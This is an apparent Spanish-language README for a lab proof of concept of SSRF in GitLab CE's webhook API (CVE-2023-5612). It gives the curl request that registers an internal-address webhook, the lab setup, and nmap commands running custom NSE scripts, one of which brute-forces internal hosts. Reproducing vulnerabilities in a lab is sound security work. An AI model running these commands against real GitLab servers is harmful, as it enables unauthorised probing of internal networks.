curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

- Kali Linux dentro de una máquina virtual desplegada específicamente para las pruebas
- Instancia vulnerable de GitLab CE levantada mediante Docker (puerto 8080)
- Dentro de GitLab:
- Se creó un proyecto de prueba
- Se generó un Personal Access Token (glpat-...) con permisos de Maintainer
- Se levantó un servicio HTTP mínimo en 127.0.0.1:8888 como objetivo interno del SSRF

- Confirmación manual de la vulnerabilidad mediante curl (ver PoC)
- Creación de scripts NSE personalizados:
gitlab-ssrf.nse: verificación puntual de SSRF
gitlab-ssrf-brute.nse: fuerza bruta automática de direcciones internas
- Pruebas con nmap -d y --script-trace para analizar el comportamiento de la API y registrar los resultados
- Obtención de una respuesta 401 Unauthorized del servicio interno, lo que indica un SSRF exitoso
- Una solicitud exitosa devolverá `201 Created` o un error del tipo `401 Unauthorized`, lo que indica acceso por SSRF.

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

Durante el trabajo sobre la vulnerabilidad **CVE-2023-5612** se reprodujo un escenario de ataque SSRF exitoso con acceso a direcciones internas a través de la API de GitLab CE. Esto demuestra lo importante que es restringir las capacidades de los webhooks e implementar la validación de URL en el lado del servidor.

.
├── gitlab-ssrf.nse             # Script NSE para verificación manual de SSRF
├── gitlab-ssrf-brute.nse       # Script NSE de fuerza bruta para escanear hosts/puertos internos
├── screenshots/                # Capturas de la ejecución del PoC y de la confirmación de la vulnerabilidad
└── README.md                   # Este archivo